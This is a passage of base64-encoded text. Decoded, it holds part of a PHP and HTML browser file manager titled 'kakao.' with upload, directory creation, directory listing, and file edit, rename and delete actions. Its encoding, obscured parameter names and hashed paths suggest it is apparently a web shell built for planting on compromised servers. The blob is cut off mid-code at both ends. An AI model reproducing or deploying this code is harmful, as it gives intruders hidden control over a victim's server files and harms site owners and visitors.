lyZWN0KCR0YXJnZXRfZGlyLCAkc3VjY2VzcyA/ICJVcGxvYWQgY29tcGxldGUuIiA6ICJVcGxvYWQgZmFpbGVkLiIsICRzdWNjZXNzID8gInN1Y2Nlc3MiIDogImVycm9yIik7DQogICAgfQ0KICAgIA0KICAgIC8vIDUuIE1LRElSDQogICAgZWxzZWlmIChpc3NldCgkX1BPU1RbUF9BQ1RJT05dKSAmJiAkX1BPU1RbUF9BQ1RJT05dID09PSBBX01LRElSICYmIGlzc2V0KCRfUE9TVFtQX05BTUVdKSkgew0KICAgICAgICAkdGFyZ2V0X2RpciA9ICRiYXNlX2RpcjsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFtQX1RBUkddKSkgew0KICAgICAgICAgICAgJGQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX1RBUkddKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGQpKSAkdGFyZ2V0X2RpciA9ICRkOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFtQX05BTUVdKTsNCiAgICAgICAgJHN1Y2Nlc3MgPSBAbWtkaXIoJHRhcmdldF9kaXIgLiAnLycgLiAkbmFtZSk7DQogICAgICAgIHJlZGlyZWN0KCR0YXJnZXRfZGlyLCAkc3VjY2VzcyA/ICJEaXJlY3RvcnkgY3JlYXRlZC4iIDogIkNyZWF0ZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQp9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQovLyA0LiBGSUxFIFNDQU5OSU5HDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQogJGZpbGVzID0gYXJyYXkoKTsNCiAkZGlycyA9IGFycmF5KCk7DQoNCmlmICgkaGFuZGxlID0gb3BlbmRpcigkY3VycmVudF9kaXIpKSB7DQogICAgd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gcmVhZGRpcigkaGFuZGxlKSkpIHsNCiAgICAgICAgaWYgKCRlbnRyeSA9PSAiLiIgfHwgJGVudHJ5ID09ICIuLiIpIGNvbnRpbnVlOw0KICAgICAgICANCiAgICAgICAgJGZ1bGxfcGF0aCA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZW50cnk7DQogICAgICAgIA0KICAgICAgICAkcGVybXMgPSBpc19maWxlKCRmdWxsX3BhdGgpID8gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpIDogJ2Ryd3gnOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCRmdWxsX3BhdGgpOw0KICAgICAgICAkbW9kX3RpbWUgPSBkYXRlKCdNIGQgSDppJywgZmlsZW10aW1lKCRmdWxsX3BhdGgpKTsNCiAgICAgICAgJGhhc2ggPSBnZXRfaGFzaCgkZnVsbF9wYXRoKTsNCiAgICAgICAgJGlzX2RpciA9IGlzX2RpcigkZnVsbF9wYXRoKTsNCg0KICAgICAgICAkaXRlbSA9IGFycmF5KA0KICAgICAgICAgICAgJ25hbWUnID0+ICRlbnRyeSwNCiAgICAgICAgICAgICdwZXJtcycgPT4gJHBlcm1zLA0KICAgICAgICAgICAgJ3NpemUnID0+ICRzaXplLA0KICAgICAgICAgICAgJ21vZCcgPT4gJG1vZF90aW1lLA0KICAgICAgICAgICAgJ2hhc2gnID0+ICRoYXNoLA0KICAgICAgICAgICAgJ2lzX2RpcicgPT4gJGlzX2Rpcg0KICAgICAgICApOw0KDQogICAgICAgIGlmICgkaXNfZGlyKSB7DQogICAgICAgICAgICAkZGlyc1tdID0gJGl0ZW07DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkZmlsZXNbXSA9ICRpdGVtOw0KICAgICAgICB9DQogICAgfQ0KICAgIGNsb3NlZGlyKCRoYW5kbGUpOw0KfQ0KDQp1c29ydCgkZGlycywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsNCnVzb3J0KCRmaWxlcywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsNCiAkYWxsX2l0ZW1zID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7DQoNCiAkcGFyZW50X2RpciA9IGRpcm5hbWUoJGN1cnJlbnRfZGlyKTsNCiAkY2FuX2dvX3VwID0gKCRwYXJlbnRfZGlyICE9PSAkY3VycmVudF9kaXIpOw0KDQpmdW5jdGlvbiBmb3JtYXRfc2l6ZSgkYnl0ZXMpIHsNCiAgICBpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHJldHVybiBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwNDg1NzYsIDIpIC4gJ00nOw0KICAgIGlmICgkYnl0ZXMgPj0gMTAyNCkgcmV0dXJuIG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTAyNCwgMikgLiAnSyc7DQogICAgcmV0dXJuICRieXRlcyAuICdCJzsNCn0NCg0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWwgbGFuZz0iZW4iPg0KPGhlYWQ+DQogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+a2FrYW8uPC90aXRsZT4NCiAgICA8c3R5bGU+DQogICAgICAgIDpyb290IHsNCiAgICAgICAgICAgIC0tYmctZGFyazogIzFlMWExNzsNCiAgICAgICAgICAgIC0tYmctcGFuZWw6ICMyYTI0MWY7DQogICAgICAgICAgICAtLWJnLWlucHV0OiAjMTUxMjEwOw0KICAgICAgICAgICAgLS10ZXh0LW1haW46ICNlNmQzYjM7DQogICAgICAgICAgICAtLXRleHQtZGltOiAjOGE4MDc1Ow0KICAgICAgICAgICAgLS1hY2NlbnQ6ICNjODliNmQ7DQogICAgICAgICAgICAtLWJvcmRlcjogIzNlMzUyZTsNCiAgICAgICAgICAgIC0tdGVybWluYWwtZm9udDogJ0NvdXJpZXIgTmV3JywgQ291cmllciwgbW9ub3NwYWNlOw0KICAgICAgICAgICAgLS1zdWNjZXNzOiAjN2VjODczOyAvKiBNdXRlZCBHcmVlbiAqLw0KICAgICAgICAgICAgLS1lcnJvcjogI2ZmNWY1NjsgICAvKiBSZWQgKi8NCiAgICAgICAgfQ0KDQogICAgICAgICogeyBib3gtc2l6aW5nOiBib3JkZXItYm94OyB9DQoNCiAgICAgICAgYm9keSB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOw0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IHZhcigtLXRlcm1pbmFsLWZvbnQpOw0KICAgICAgICAgICAgbWFyZ2luOiAwOw0KICAgICAgICAgICAgcGFkZGluZzogMjBweDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIGhlaWdodDogMTAwdmg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICB9DQoNCiAgICAgICAgLnRlcm1pbmFsLXdpbmRvdyB7DQogICAgICAgICAgICB3aWR0aDogMTAwJTsNCiAgICAgICAgICAgIG1heC13aWR0aDogOTAwcHg7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1wYW5lbCk7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4Ow0KICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxMHB4IDMwcHggcmdiYSgwLDAsMCwwLjUpOw0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47DQogICAgICAgICAgICBoZWlnaHQ6IDg1dmg7DQogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOw0KICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOw0KICAgICAgICB9DQoNCiAgICAgICAgLyogVG9wIEJhciAqLw0KICAgICAgICAudG9wLWJhciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgcGFkZGluZzogOHB4IDEycHg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsNCiAgICAgICAgfQ0KDQogICAgICAgIC53aW5kb3ctY29udHJvbHMgeyBkaXNwbGF5OiBmbGV4OyBnYXA6IDhweDsgfQ0KICAgICAgICAuY29udHJvbC1kb3QgeyB3aWR0aDogMTJweDsgaGVpZ2h0OiAxMnB4OyBib3JkZXItcmFkaXVzOiA1MCU7IH0NCiAgICAgICAgLnJlZCB7IGJhY2tncm91bmQtY29sb3I6ICNmZjVmNTY7IH0NCiAgICAgICAgLnllbGxvdyB7IGJhY2tncm91bmQtY29sb3I6ICNmZmJkMmU7IH0NCiAgICAgICAgLmdyZWVuIHsgYmFja2dyb3VuZC1jb2xvcjogIzI3YzkzZjsgfQ0KDQogICAgICAgIC5uYXYtYXJlYSB7IGRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IGZsZXg6IDE7IG1hcmdpbjogMCAxNXB4OyB9DQoNCiAgICAgICAgLmJ0bi11cCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1pbnB1dCk7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBwYWRkaW5nOiAycHggOHB4OyBtYXJnaW4tcmlnaHQ6IDEwcHg7IGN1cnNvcjogcG9pbnRlcjsgYm9yZGVyLXJhZGl1czogM3B4Ow0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IHZhcigtLXRlcm1pbmFsLWZvbnQpOyBmb250LXNpemU6IDEycHg7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICAuYnRuLXVwOmhvdmVyIHsgYm9yZGVyLWNvbG9yOiB2YXIoLS1hY2NlbnQpOyBjb2xvcjogdmFyKC0tYWNjZW50KTsgfQ0KICAgICAgICAuYnRuLXVwLmRpc2FibGVkIHsgb3BhY2l0eTogMC4zOyBwb2ludGVyLWV2ZW50czogbm9uZTsgfQ0KDQogICAgICAgIC5wYXRoLWRpc3BsYXkgew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXRleHQtZGltKTsgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0tYmctaW5wdXQpOw0KICAgICAgICAgICAgcGFkZGluZzogMnB4IDhweDsgYm9yZGVyLXJhZGl1czogM3B4OyBmb250LXNpemU6IDEycHg7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBmbGV4OiAxOyB3aGl0ZS1zcGFjZTogbm93cmFwOyBvdmVyZmxvdzogaGlkZGVuOyB0ZXh0LW92ZXJmbG93OiBlbGxpcHNpczsNCiAgICAgICAgfQ0KDQogICAgICAgIC8qIE1haW4gQ29udGVudCAqLw0KICAgICAgICAubWFpbi1jb250ZW50IHsgZmxleDogMTsgb3ZlcmZsb3cteTogYXV0bzsgcGFkZGluZzogMTBweDsgfQ0KDQogICAgICAgIC8qIFN0YXR1cyBNZXNzYWdlIChUZXJtaW5hbCBTdHlsZSkgKi8NCiAgICAgICAgLmNvbnNvbGUtbXNnIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDVweCAxMHB4Ow0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweDsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiB2YXIoLS10ZXJtaW5hbC1mb250KTsNCiAgICAgICAgICAgIGJvcmRlci1sZWZ0OiA0cHggc29saWQgdHJhbnNwYXJlbnQ7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuMik7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICAuY29uc29sZS1tc2cuc3VjY2VzcyB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXN1Y2Nlc3MpOw0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXN1Y2Nlc3MpOw0KICAgICAgICB9DQogICAgICAgIC5jb25zb2xlLW1zZy5lcnJvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLWVycm9yKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS1lcnJvcik7DQogICAgICAgIH0NCiAgICAgICAgLmNvbnNvbGUtbXNnOjpiZWZvcmUgew0KICAgICAgICAgICAgY29udGVudDogIj4+ICI7DQogICAgICAgICAgICBvcGFjaXR5OiAwLjc7DQogICAgICAgIH0NCg0KICAgICAgICAuZmlsZS1oZWFkZXIgew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgYm9yZGVyLWJvdHRvbTogMXB4IGRhc2hlZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDVweDsgbWFyZ2luLWJvdHRvbTogNXB4OyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC13ZWlnaHQ6IGJvbGQ7DQogICAgICAgIH0NCg0KICAgICAgICAuZmlsZS1yb3cgew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgcGFkZGluZzogNHB4IDA7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgcmdiYSg2MiwgNTMsIDQ2LCAwLjUpOw0KICAgICAgICB9DQogICAgICAgIC5maWxlLXJvdzpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjAwLCAxNTUsIDEwOSwgMC4xKTsgfQ0KDQogICAgICAgIC5jb2wtcGVybSB7IHdpZHRoOiA1MHB4OyBjb2xvcjogdmFyKC0tdGV4dC1kaW0pOyB9DQogICAgICAgIC5jb2wtc2l6ZSB7IHdpZHRoOiA4MHB4OyB0ZXh0LWFsaWduOiByaWdodDsgcGFkZGluZy1yaWdodDogMTVweDsgY29sb3I6IHZhcigtLXRleHQtZGltKTsgfQ0KICAgICAgICAuY29sLWRhdGUgeyB3aWR0aDogMTIwcHg7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IH0NCiAgICAgICAgLmNvbC1uYW1lIHsgZmxleDogMTsgZm9udC13ZWlnaHQ6IGJvbGQ7IH0NCiAgICAgICAgLmNvbC1hY3Rpb25zIHsgd2lkdGg6IDE4MHB4OyB0ZXh0LWFsaWduOiByaWdodDsgfQ0KDQogICAgICAgIC5pcy1kaXIgLmNvbC1uYW1lIHsgY29sb3I6IHZhcigtLWFjY2VudCk7IH0NCiAgICAgICAgLmlzLWxpbmsgeyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiBpbmhlcml0OyBkaXNwbGF5OiBibG9jazsgfQ0KICAgICAgICAuaXMtbGluazpob3ZlciB7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyB9DQoNCiAgICAgICAgLmNtZC1saW5rIHsNCiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMHB4OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IGN1cnNvcjogcG9pbnRlcjsgZm9udC1zaXplOiAxMnB4Ow0KICAgICAgICB9DQogICAgICAgIC5jbWQtbGluazpob3ZlciB7IGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOyBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1hY2NlbnQpOyBjb2xvcjogdmFyKC0tYmctZGFyayk7IH0NCg0KICAgICAgICAvKiBCb3R0b20gUGFuZWwgKi8NCiAgICAgICAgLmJvdHRvbS1wYW5lbCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBwYWRkaW5nOiAxMHB4OyBkaXNwbGF5OiBmbGV4OyBnYXA6IDEwcHg7DQogICAgICAgIH0NCiAgICAgICAgLmNtZC1saW5lIHsgY29sb3I6IHZhcigtLWFjY2VudCk7IG1hcmdpbi1yaWdodDogNXB4OyB3aGl0ZS1zcGFjZTogbm93cmFwOyB9DQogICAgICAgIC5hY3Rpb24tZm9ybSB7IGRpc3BsYXk6IGZsZXg7IGdhcDogNXB4OyB3aWR0aDogMTAwJTsgYWxpZ24taXRlbXM6IGNlbnRlcjsgfQ0KICAgICAgICANCiAgICAgICAgaW5wdXRbdHlwZT0idGV4dCJdLCB0ZXh0YXJlYSwgaW5wdXRbdHlwZT0iZmlsZSJdIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLWJnLWlucHV0KTsgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOyBmb250LWZhbWlseTogdmFyKC0tdGVybWluYWwtZm9udCk7IHBhZGRpbmc6IDVweDsgb3V0bGluZTogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICBpbnB1dFt0eXBlPSJ0ZXh0Il0geyBmbGV4OiAxOyB9DQogICAgICAgIA0KICAgICAgICBidXR0b24gew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0tYm9yZGVyKTsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1hY2NlbnQpOyBmb250LWZhbWlseTogdmFyKC0tdGVybWluYWwtZm9udCk7DQogICAgICAgICAgICBwYWRkaW5nOiA0cHggMTJweDsgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICB9DQogICAgICAgIGJ1dHRvbjpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IHZhcigtLWFjY2VudCk7IGNvbG9yOiB2YXIoLS1iZy1kYXJrKTsgfQ0KDQogICAgICAgIC8qIEdFTkVSSUMgTU9EQUwgU1RZTEUgKi8NCiAgICAgICAgLm1vZGFsLW92ZXJsYXkgew0KICAgICAgICAgICAgZGlzcGxheTogbm9uZTsgcG9zaXRpb246IGZpeGVkOyB0b3A6IDA7IGxlZnQ6IDA7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuODUpOyB6LWluZGV4OiA5OTk7DQogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm1vZGFsLWJveCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1wYW5lbCk7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWFjY2VudCk7DQogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OyBtaW4td2lkdGg6IDMwMHB4Ow0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgZ2FwOiAxNXB4Ow0KICAgICAgICB9DQoNCiAgICAgICAgLm1vZGFsLWhlYWRlciB7IGZvbnQtd2VpZ2h0OiBib2xkOyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC1zaXplOiAxNXB4OyB9DQogICAgICAgIA0KICAgICAgICAubW9kYWwtZm9vdGVyIHsgdGV4dC1hbGlnbjogcmlnaHQ7IGRpc3BsYXk6IGZsZXg7IGp1c3RpZnktY29udGVudDogZmxleC1lbmQ7IGdhcDogMTBweDsgfQ0KDQogICAgICAgIC8qIEVkaXRvciBTcGVjaWZpYyAqLw0KICAgICAgICAjZWRpdG9yLW1vZGFsIC5tb2RhbC1ib3ggeyB3aWR0aDogODAlOyBoZWlnaHQ6IDgwJTsgfQ0KICAgICAgICAjZWRpdG9yLWFyZWEgeyBmbGV4OiAxOyByZXNpemU6IG5vbmU7IGJhY2tncm91bmQ6IHZhcigtLWJnLWlucHV0KTsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7IGZvbnQtZmFtaWx5OiB2YXIoLS10ZXJtaW5hbC1mb250KTsgcGFkZGluZzogMTBweDsgfQ0KDQogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXIgeyB3aWR0aDogOHB4OyB9DQogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2sgeyBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1kYXJrKTsgfQ0KICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIHsgYmFja2dyb3VuZDogdmFyKC0tYm9yZGVyKTsgfQ0KICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iOmhvdmVyIHsgYmFja2dyb3VuZDogdmFyKC0tYWNjZW50KTsgfQ0KDQogICAgPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KDQo8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC13aW5kb3ciPg0KICAgIDwhLS0gSGVhZGVyIC0tPg0KICAgIDxkaXYgY2xhc3M9InRvcC1iYXIiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJ3aW5kb3ctY29udHJvbHMiPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IHJlZCI+PC9zcGFuPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IHllbGxvdyI+PC9zcGFuPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IGdyZWVuIj48L3NwYW4+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICANCiAgICAgICAgPGRpdiBjbGFzcz0ibmF2LWFyZWEiPg0KICAgICAgICAgICAgPD9waHAgaWYgKCRjYW5fZ29fdXApOiA/Pg0KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij88P3BocCBlY2hvIFBfRElSOyA/Pj08P3BocCBlY2hvIGdldF9oYXNoKCRwYXJlbnRfZGlyKTsgPz4iIGNsYXNzPSJidG4tdXAiIHRpdGxlPSJQYXJlbnQgRGlyZWN0b3J5Ij4mbHQ7IFVQPC9hPg0KICAgICAgICAgICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iYnRuLXVwIGRpc2FibGVkIj4mbHQ7IFVQPC9zcGFuPg0KICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDxkaXYgY2xhc3M9InBhdGgtZGlzcGxheSIgdGl0bGU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY3VycmVudF9kaXIpOyA/PiI+DQogICAgICAgICAgICAgICAgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjdXJyZW50X2Rpcik7ID8+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQoNCiAgICA8IS0tIE1haW4gQ29udGVudCAtLT4NCiAgICA8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPg0KICAgICAgICA8IS0tIFN0YXR1cyBNZXNzYWdlIC0tPg0KICAgICAgICA8P3BocCBpZiAoJHN0YXR1c19tc2cpOiA/Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29uc29sZS1tc2cgPD9waHAgZWNobyAkc3RhdHVzX3R5cGU7ID8+Ij4NCiAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRzdGF0dXNfbXNnOyA/Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KDQogICAgICAgIDxkaXYgY2xhc3M9ImZpbGUtaGVhZGVyIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1wZXJtIj5QZXJtczwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXNpemUiPlNpemU8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1kYXRlIj5Nb2RpZmllZDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW5hbWUiPk5hbWU8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1hY3Rpb25zIj5BY3Rpb25zPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KDQogICAgICAgIDw/cGhwIGZvcmVhY2ggKCRhbGxfaXRlbXMgYXMgJGl0ZW0pOiA/Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1yb3cgPD9waHAgZWNobyAkaXRlbVsnaXNfZGlyJ10gPyAnaXMtZGlyJyA6ICdpcy1maWxlJzsgPz4iPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1wZXJtIj48P3BocCBlY2hvICRpdGVtWydwZXJtcyddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zaXplIj48P3BocCBlY2hvICRpdGVtWydpc19kaXInXSA/ICdESVInIDogZm9ybWF0X3NpemUoJGl0ZW1bJ3NpemUnXSk7ID8+PC9kaXY+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLWRhdGUiPjw/cGhwIGVjaG8gJGl0ZW1bJ21vZCddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1uYW1lIj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpdGVtWydpc19kaXInXSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/PD9waHAgZWNobyBQX0RJUjsgPz49PD9waHAgZWNobyAkaXRlbVsnaGFzaCddOyA/PiIgY2xhc3M9ImlzLWxpbmsiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnbmFtZSddKTsgPz48L2E+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1hY3Rpb25zIj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCEkaXRlbVsnaXNfZGlyJ10pOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuRWRpdG9yKCc8P3BocCBlY2hvICRpdGVtWydoYXNoJ107ID8+JywgJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhhZGRzbGFzaGVzKCRpdGVtWyduYW1lJ10pKTsgPz4nKSI+W2VkaXRdPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuUmVuYW1lTW9kYWwoJzw/cGhwIGVjaG8gJGl0ZW1bJ2hhc2gnXTsgPz4nLCAnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJGl0ZW1bJ25hbWUnXSkpOyA/PicpIj5bcmVuYW1lXTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuRGVsZXRlTW9kYWwoJzw/cGhwIGVjaG8gJGl0ZW1bJ2hhc2gnXTsgPz4nLCAnPD9waHAgZWNobyBodG